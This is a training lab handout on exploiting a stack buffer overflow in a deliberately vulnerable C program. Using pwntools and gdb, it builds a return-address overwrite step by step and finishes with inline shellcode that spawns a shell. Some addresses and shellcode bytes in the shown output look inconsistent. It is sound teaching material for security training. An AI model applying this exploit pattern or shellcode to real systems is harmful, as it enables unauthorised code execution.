

Lab 3

Exploiting buffer overflows with no mitigations enabled

Goal of this lab is to familiarize you with basic buffer overflows, getting comfortable automating exploitation using pwntools package.

Brief Intro

As shown in the slides, buffer overflow happens when programmer does not enforce limits on data being ingested properly. This might happen for various reasons, such as:

- Using function taking input without upper limit
- Specifying limits bigger than buffer can handle
- Using dynamic limits calculation that goes wrong way

In particular, C functions for handling input that you'll see in this workshop will be from the following pool:

- `gets(char* str)` – takes a pointer where input should be saved and reads until newline. No limits enforced.
- `fgets(char* str, int count, FILE* stream)` – reads to `*str` pointer at most `count – 1` characters.

Lab

The following steps will take you through exploitation of 1.out from "2. BOFs" directory. If you are confident in your understanding, feel free to skip the walkthrough and build the final exploit yourself. Since we are using pwntools, relevant template is provided for your convenience.

Solutions for all labs are provided in relevant "solutions" subdirectory. It is strongly advised you try your best before falling back to them. Ideally, you'd want to solve the challenges yourself and compare with provided solves.

Let's start with inspecting the source code of 1.c

```
#include <stdio.h>
#include <stdlib.h>

void win(){
    system("/bin/bash");
    exit(0);
}

void hello_routine(){
    char str[128] = {};
    printf("Hello, what's your name?\n");
    gets(str);
    printf("Cool to meet you %s", str);
}

int main(){
    hello_routine();
    return 0;
}
```

This is an example of ret2win challenge, where we want to redirect the execution to a function that is not called anywhere in the code.

Worth noticing is the gets(str) function, which will copy whatever we send to it without any length limit whatsoever and dump it starting from where str[] array begins.

A good habit to make is to use a program like checksec to assess what protections are in place:

```
$ checksec --file=1.out
```

RELRO	STACK CANARY	NX	PIE	RPATH	RUNPATH
Partial RELRO	No canary found	NX disabled	No PIE	No RPATH	No RUNPATH

We will use a provided pwntools template to make development quicker and automate exploitation. We'll want to copy the file to not break the template. Then, let's point path towards the target binary.

```
2 from pwn import *
3 import os
4
5 # _____
6 # Config
7 # _____
8 BIN_PATH = "./lololol" # change me
9 context.binary = ELF(BIN_PATH, checksec=True)
10
11 context.log_level = "info"
12 context.terminal = ["tmux", "splitw", "-h"]
13
14 gdbscript = """
15 # adjust breakpoints for your binary:
16 break *main
17 # break *vuln
18 # continue
19 """
20
21 '''
22 p.sendlineafter(b'>', b'something') - send a line after receiving something
23 p.sendline(b'something') - just send a line
24 p64(<int>) - pack into 8-byte int
25 out = p.recvline() - store line of output in variable
26 '''
27
28 #p = process(BIN_PATH) # use me once debugged
29 p = gdb.debug(BIN_PATH, gdbscript)
30
31 # your code here
32 p.interactive()
```

To run the exploit, execute

```
python3 <copied file>
```

This will launch gdb together with our binary and use tmux to split the terminal window. If you are not familiar with tmux, for our purposes you'll only need to know a shortcut to switch between panes:

```
Ctrl-B <let go>; arrow-left/arrow-right
```

Panes can be also resized by holding ctrl while pressing arrows after letting go ctrl-b.

Our debugging session will execute all commands in "gdbscript" variable, which is where you can freely customize what's going on. By default, it will break on main to give us control.

```

(kali@kali)-[~/Desktop/workshop/handout/2. BOFs]
$ python3 1.solve.py
[*] '/home/kali/Desktop/workshop/handout/2. BOFs/1.out'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes
[+] Starting local process '/usr/bin/gdbserver': pid 1204899
[*] running in new terminal: ['/usr/bin/gdb', '-q', './1.out', '-x', '/tmp/pwnlib-gdbscript-rkovhpwe.gdb']
[*] Switching to interactive mode
$

Reading /lib64/ld-linux-x86-64.so.2 from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot".
Reading /lib64/ld-linux-x86-64.so.2 from remote target...
0x0007ffff7fe35c0 in ?? () from target:/lib64/ld-linux-x86-64.so.2
=> 0x0007ffff7fe35c0: 48 89 e7 mov rdi,rsi
Breakpoint 1 at 0x4012e6: file 1.c, line 16.
Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...

Breakpoint 1, main () at 1.c:16
16 int main(){
=> 0x0000000004012e6 <main+0>: 55 push rbp
0x0000000004012e7 <main+1>: 48 89 e5 mov rbp,rsi
(gdb)

```

Remembering the slides, we'll want to explore how stack layout looks like before and after gets() call. To do so, we set relevant breakpoints and hit continue:

```

(gdb) disass hello_routine
Dump of assembler code for function hello_routine:
0x00000000040116c <+0>: push rbp
0x00000000040116d <+1>: mov rbp,rsi
0x000000000401170 <+4>: add rsp,0xffffffffffffff80
0x000000000401174 <+8>: mov QWORD PTR [rbp-0x80],0x0
0x00000000040117c <+16>: mov QWORD PTR [rbp-0x78],0x0
0x000000000401184 <+24>: mov QWORD PTR [rbp-0x70],0x0
0x00000000040118c <+32>: mov QWORD PTR [rbp-0x68],0x0
0x000000000401194 <+40>: mov QWORD PTR [rbp-0x60],0x0
0x00000000040119c <+48>: mov QWORD PTR [rbp-0x58],0x0
0x0000000004011a4 <+56>: mov QWORD PTR [rbp-0x50],0x0
0x0000000004011ac <+64>: mov QWORD PTR [rbp-0x48],0x0
0x0000000004011b4 <+72>: mov QWORD PTR [rbp-0x40],0x0
0x0000000004011bc <+80>: mov QWORD PTR [rbp-0x38],0x0
0x0000000004011c4 <+88>: mov QWORD PTR [rbp-0x30],0x0
0x0000000004011cc <+96>: mov QWORD PTR [rbp-0x28],0x0
0x0000000004011d4 <+104>: mov QWORD PTR [rbp-0x20],0x0
0x0000000004011dc <+112>: mov QWORD PTR [rbp-0x18],0x0
0x0000000004011e4 <+120>: mov QWORD PTR [rbp-0x10],0x0
0x0000000004011ec <+128>: mov QWORD PTR [rbp-0x8],0x0
0x0000000004011f4 <+136>: lea rax,[rip+0xe11] # 0x40200c
0x0000000004011fb <+143>: mov rdi,rax
0x0000000004011fe <+146>: call 0x401030 <puts@plt>
0x000000000401203 <+151>: lea rax,[rbp-0x80]
0x000000000401207 <+155>: mov rdi,rax
0x00000000040120a <+158>: call 0x401060 <gets@plt>
0x00000000040120f <+163>: lea rax,[rbp-0x80]
0x000000000401213 <+167>: mov rsi,rax
0x000000000401216 <+170>: lea rax,[rip+0xe08] # 0x402025
0x00000000040121d <+177>: mov rdi,rax
0x000000000401220 <+180>: mov eax,0x0
0x000000000401225 <+185>: call 0x401050 <printf@plt>
0x00000000040122a <+190>: nop
0x00000000040122b <+191>: leave
0x00000000040122c <+192>: ret

```

```

(gdb) b *hello_routine+155
Breakpoint 2 at 0x401207: file 1.c, line 12.
(gdb) b *hello_routine+163
Breakpoint 3 at 0x40120f: file 1.c, line 13.
(gdb)

```

Immediately, we'll hit the breakpoint, let's explore first 32 elements on the stack:

```
Breakpoint 2, 0x00000000401207 in hello_routine () at 1.c:12
12      gets(str);
    0x0000000000401203 <hello_routine+151>:      48 8d 45 80
⇒ 0x0000000000401207 <hello_routine+155>:      48 89 c7
    0x000000000040120a <hello_routine+158>:      e8 51 fe ff ff
(gdb) x/32gx $rsp
0x7fffffffddc90: 0x0000000000000000      0x0000000000000000
0x7fffffffddca0: 0x0000000000000000      0x0000000000000000
0x7fffffffddcb0: 0x0000000000000000      0x0000000000000000
0x7fffffffddcc0: 0x0000000000000000      0x0000000000000000
0x7fffffffddcd0: 0x0000000000000000      0x0000000000000000
0x7fffffffddce0: 0x0000000000000000      0x0000000000000000
0x7fffffffddcf0: 0x0000000000000000      0x0000000000000000
0x7fffffffdd00: 0x0000000000000000      0x0000000000000000
0x7fffffffdd10: 0x00007fffffffdd20      0x000000000040123b
0x7fffffffdd20: 0x0000000000000001      0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007fffffffde20      0x000000000040122d
0x7fffffffdd40: 0x0000000100400040      0x00007fffffffde38
0x7fffffffdd50: 0x00007fffffffde38      0xadd143bb331871e1
0x7fffffffdd60: 0x0000000000000000      0x00007fffffffde48
0x7fffffffdd70: 0x00007ffff7ffd000      0x0000000000403e00
0x7fffffffdd80: 0x522ebc44897a71e1      0x522eac006bda71e1
(gdb) █
```

We can see lots of zeroes forming our buffer which is followed up by saved RBP and a saved instruction pointer. To confirm the size of a buffer, we can use print to do some math on the addresses:

```
(gdb) list hello_routine
4
5      void win(){
6          system("/bin/sh");
7      }
8
9      void hello_routine(){
10         char str[128] = {};
11         printf("Hello, what's your name?\n");
12         gets(str);
13         printf("Cool to meet you %s", str);
(gdb) p 0x7fffffffdd10 - 0x7fffffffddc90
$3 = 128
(gdb) █
```

Now let's hit continue again and provide some input to the program:

```
[*] Running in new terminal. [ /u:
[*] Switching to interactive mode
Hello, what's your name?
$ hajduszoboszlo
$ █
```

After hitting the breakpoint again, we'll see our buffer partially filled up:

```
Command name abbreviations are allowed in commands.
(gdb) x/32gx $rsp
0x7fffffffddc90: 0x6f7a7375646a6168      0x00006f6c7a736f62
0x7fffffffddca0: 0x0000000000000000      0x0000000000000000
0x7fffffffddcb0: 0x0000000000000000      0x0000000000000000
0x7fffffffddcc0: 0x0000000000000000      0x0000000000000000
0x7fffffffddcd0: 0x0000000000000000      0x0000000000000000
0x7fffffffddce0: 0x0000000000000000      0x0000000000000000
0x7fffffffddcf0: 0x0000000000000000      0x0000000000000000
0x7fffffffdd00: 0x0000000000000000      0x0000000000000000
0x7fffffffdd10: 0x00007fffffffdd20      0x000000000040123b
0x7fffffffdd20: 0x0000000000000001      0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007fffffffde20      0x000000000040122d
```

```
(gdb) x/s $rsp
0x7fffffffddc90: "hajduszoboszlo"
```

Great, let's continue the execution to the finish and edit our exploit. We'll now send a little bit over the size of our buffer, 136 times letter A:

```
#p = process(BIN_PATH) # use me once debugged
p = gdb.debug(BIN_PATH, gdbscript)

# your code here
p.sendline(b'A'*136)

p.interactive()
```

We now run the exploit again, remembering to set a breakpoint at hello+136 and continuing twice:

```
End of assembler dump.
(gdb) b *hello_routine+163
Breakpoint 2 at 0x40120f: file 1.c, line 13.
(gdb) c
Continuing.
Reading /lib/x86_64-linux-gnu/libc.so.6 from remote target...

Breakpoint 1, main () at 1.c:16
16      int main(){
=> 0x000000000040122d <main+0>: 55                push    rbp
    0x000000000040122e <main+1>: 48 89 e5    mov     rbp, rsp
(gdb) c
Continuing.

Breakpoint 2, hello_routine () at 1.c:13
13      printf("Cool to meet you %s", str);
```

Looking into the contents of stack, we can clearly observe overwrite now. Old RBP is nowhere to be seen and keen eye will notice least significant byte in saved instruction pointer zeroed:

```
(gdb) x/32gx $rsp
0x7fffffffcdc90: 0x4141414141414141      0x4141414141414141
0x7fffffffcdca0: 0x4141414141414141      0x4141414141414141
0x7fffffffcdcb0: 0x4141414141414141      0x4141414141414141
0x7fffffffcdcc0: 0x4141414141414141      0x4141414141414141
0x7fffffffcdcd0: 0x4141414141414141      0x4141414141414141
0x7fffffffcdce0: 0x4141414141414141      0x4141414141414141
0x7fffffffcdcf0: 0x4141414141414141      0x4141414141414141
0x7fffffffdd00: 0x4141414141414141      0x4141414141414141
0x7fffffffdd10: 0x4141414141414141      0x0000000000401200
0x7fffffffdd20: 0x0000000000000001      0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007ffff7ffde20      0x000000000040122d
```

Original layout for reference:

```
Command name abbreviations are allowed if unambiguous.
(gdb) x/32gx $rsp
0x7fffffffcdc90: 0x6f7a7375646a6168      0x00006f6c7a736f62
0x7fffffffcdca0: 0x0000000000000000      0x0000000000000000
0x7fffffffcdcb0: 0x0000000000000000      0x0000000000000000
0x7fffffffcdcc0: 0x0000000000000000      0x0000000000000000
0x7fffffffcdcd0: 0x0000000000000000      0x0000000000000000
0x7fffffffcdce0: 0x0000000000000000      0x0000000000000000
0x7fffffffcdcf0: 0x0000000000000000      0x0000000000000000
0x7fffffffdd00: 0x0000000000000000      0x0000000000000000
0x7fffffffdd10: 0x00007ffff7ffdd20      0x000000000040123b
0x7fffffffdd20: 0x0000000000000001      0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007ffff7ffde20      0x000000000040122d
```

What happened is that gets fetches input up to the newline sign and then substitutes it with a nullbyte to form a proper null-delimited string. As a side-effect, this zeroed part of the return address, despite us providing exactly 136 bytes of input.

If we now continue executing the program, it will crash due to old RBP being corrupted to impossible address.

```
(gdb) c
Continuing.

Program terminated with signal SIGILL, Illegal instruction.
The program no longer exists.
```

That's good enough! Using the same logic, lets try overflowing with additional data. This time we'll also set a breakpoint at the RET instruction in the hello_routine, which is located at +192 offset.

```

gdbscript = """
# adjust breakpoints for your binary:
break *main
break *hello_routine+192
# break *vuln
# continue
"""

'''
p.sendlineafter(b'>', b'something') - send a line after receiving something
p.sendline(b'something') - just send a line
p64(<int>) - pack into 8-byte int
out = p.recvline() - store line of output in variable
'''

#p = process(BIN_PATH) # use me once debugged
p = gdb.debug(BIN_PATH, gdbscript)

# your code here
p.sendline(b'A'*144)

p.interactive()

```

After running and continuing the execution twice, we'll explore the stack again:

```

(gdb) c
Continuing.

Breakpoint 2, 0x00000000040122c in hello_routine () at 1.c:14
14      }
      0x00000000040122a <hello_routine+190>:    90          nop
      0x00000000040122b <hello_routine+191>:    c9          leave
=> 0x00000000040122c <hello_routine+192>:    c3          ret
(gdb) x/16gx $rsp
0x7fffffffdd18: 0x4141414141414141      0x0000000000000000
0x7fffffffdd28: 0x00007ffff7ddaca8     0x00007ffff7ffde20
0x7fffffffdd38: 0x00000000040122d     0x0000000100400040
0x7fffffffdd48: 0x00007ffff7ffde38     0x00007ffff7ffde38

```

We can clearly see, that we've overwritten more data and it looks like the return pointer is ours too! Remember how RET instruction works – it will fetch the address from top of the stack and insert it into RIP. Let's test this by single stepping

```

(gdb) si

Program terminated with signal SIGSEGV, Segmentation fault.
The program no longer exists.
(gdb) i r
The program has no registers now.

```

Program crashes violently with a different error. Segmentation fault means invalid memory access, which in this case means code tried to execute something it shouldn't.

This confirms our control of RIP and we can finally try to redirect execution to our win() function.

To obtain address of win(), we can use gdb with our target binary loaded. With debugging symbols present it is as simple as printing it:

```
(gdb) p win
$1 = {void ()} 0x401166 <win>
```

What we need to do is to place this address in our payload precisely, so that it overwrites exactly at the point where return pointer is. Since we've established that 136 bytes overwrite just over RBP, we can append our payload there.

Remember, that values on stack (and all addresses in 64-bit) have to be 8-byte aligned, meaning they have to be multiplies of 8-byte.

What does that mean for us?

We have to pass all addresses in our payloads in accordance with this requirement, we can do so in two ways:

```
p.sendline(b'A'*136 + p64(0x401166))
# OR
p.sendline(b'A'*136 + b'\x66\x11\x40\x00\x00\x00\x00\x00')
```

p64() is a small helper function provided by pwntools, which will take our integer and "pack" it into 8-byte little-endian integer.

The other way is doing the same work by hand, supplying raw bytes ourselves.

Both are equivalent, using packing functions is obviously suggested for readability.

After updating our exploit with address overwrite, we execute aaaand... fail:

```
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7e03df4 in ?? () from target:/lib/x86_64-linux-gnu/libc.so.6
=> 0x00007ffff7e03df4: 0f 29 44 24 50          movaps XMMWORD PTR [rsp+0x50],xmm0
(gdb) █
```

So, it turns out (and has been a major surprise for me too), that we actually do obtain control of RIP and redirect execution correctly but end up with misaligned stack for calling libc functions (such as system):

```
(gdb) b *win
Breakpoint 3 at 0x401166: file 1.c, line 5.
(gdb) c
Continuing.

Breakpoint 3, win () at 1.c:5
5      void win(){
=> 0x0000000000401166 <win+0>: 55                push    rbp
    0x0000000000401167 <win+1>: 48 89 e5          mov     rbp, rsp
(gdb) x/8gx $rsp
0x7fffffffdd20: 0x0000000000000000      0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007ffffffffffde20  0x0000000000401244
0x7fffffffdd40: 0x00000000100400040     0x00007ffffffffffde38
0x7fffffffdd50: 0x00007ffffffffffde38  0xc5edf8844e4a6135
(gdb)
```

Because we RETURNed into a function (which would be CALLED), there is a different alignment on stack than would be expected by libc functions. Apparently, these require 16-byte alignment.

These limitations won't bother us. Since we have full control over the RIP register, we can just force the processor to interpret our input as instructions to be executed (remember – everything is data).

Let's circle back a little and try to do so. First thing we need is to obtain address of where our input is stored. Recall this screenshot:

```
(gdb) x/32gx $rsp
0x7fffffffddc90: 0x4141414141414141      0x4141414141414141
0x7fffffffddca0: 0x4141414141414141      0x4141414141414141
0x7fffffffddcb0: 0x4141414141414141      0x4141414141414141
0x7fffffffddcc0: 0x4141414141414141      0x4141414141414141
0x7fffffffddcd0: 0x4141414141414141      0x4141414141414141
0x7fffffffddce0: 0x4141414141414141      0x4141414141414141
0x7fffffffddcf0: 0x4141414141414141      0x4141414141414141
0x7fffffffdd00: 0x4141414141414141      0x4141414141414141
0x7fffffffdd10: 0x4141414141414141      0x0000000000401200
0x7fffffffdd20: 0x0000000000000001      0x00007ffff7ddaca8
0x7fffffffdd30: 0x00007ffffffffffde20  0x000000000040122d
```

Let's try to transfer execution here

```
# your code here
p.sendline(b'A'*136 + p64(0x7fffffffddc90))
```

```
Breakpoint 2, 0x000000000401243 in hello_routine () at 1.c:16
16      }
      0x000000000401241 <hello_routine+190>:      90      nop
      0x000000000401242 <hello_routine+191>:      c9      leave
⇒ 0x000000000401243 <hello_routine+192>:      c3      ret
(gdb) x/8gx $rsp
0x7fffffffdd18: 0x00007fffffffddc90      0x0000000000000000
0x7fffffffdd28: 0x00007fffffffddaca8      0x00007fffffffddde20
0x7fffffffdd38: 0x00000000000401244      0x00000000100400040
0x7fffffffdd48: 0x00007fffffffddde38      0x00007fffffffddde38
(gdb) ni
0x00007fffffffddc90 in ?? ()
⇒ 0x00007fffffffddc90:  41      rex.B
```

That's perfect, our data is being executed!

We'll be working on understanding shellcoding in the next chapter, for now let's just use shellcode provided in the shellcode.txt file.

You might be familiar with generating shellcode through msfvenom, this is exactly same thing, we will just use handcrafted one.

```
# your code here
shellcode = b'\x31\xf6\x48\xbb\xf2\x62\x69\x6e\xf2\xf2\xf3\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\xf0\x05'
p.sendline(shellcode + b'A'*(136 - len(shellcode)) + p64(0x7fffffffddc90))
```

Pay attention to how we have to remember about padding our shellcode to maintain that 136-byte distance from buffer start to saved return address.

Let's launch the exploit and continue to the RET:

```
Breakpoint 2, 0x000000000401243 in hello_routine () at 1.c:16
16      }
      0x000000000401241 <hello_routine+190>:      90      nop
      0x000000000401242 <hello_routine+191>:      c9      leave
⇒ 0x000000000401243 <hello_routine+192>:      c3      ret
(gdb) ni
0x00007fffffffddc90 in ?? ()
⇒ 0x00007fffffffddc90:  31 f6      xor     esi,esi
(gdb) █
```

This is definitely different instruction from what we've seen before! Let's continue running:

```
→ 0x00007fffff1dc90: 31 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00
(gdb) c
Continuing.
process 1265892 is executing new program: /usr/bin/dash
Reading /usr/bin/dash from remote target ...
Reading /usr/bin/dash from remote target ...
```

Uh oh

```
[*] Switching to interactive mode
Hello, what's your name?
$ whoami
Detaching from process 1266634
kali
$ id
Detaching from process 1266699
uid=1000(kali) gid=1000(kali) groups=10
```

Congratulations, you've just exploited your first buffer overflow!

Tasks

This lab is more about being getting your hands dirty. It will get confusing once you start doing the work yourself but that is your major learning moment, cherish it!

1. Go along through the walkthrough and reproduce all the steps till you get your first shell.
 - a. Some addresses might change and differ from those on screenshots, as long as it works, we're good
 - b. Once you get the shellcode on the stack, try examining it as instructions. Can you identify what it does?
 - i. `x/32i $rsp` will be helpful
2. There is another binary in this folder with very similar vulnerability. Can you exploit it?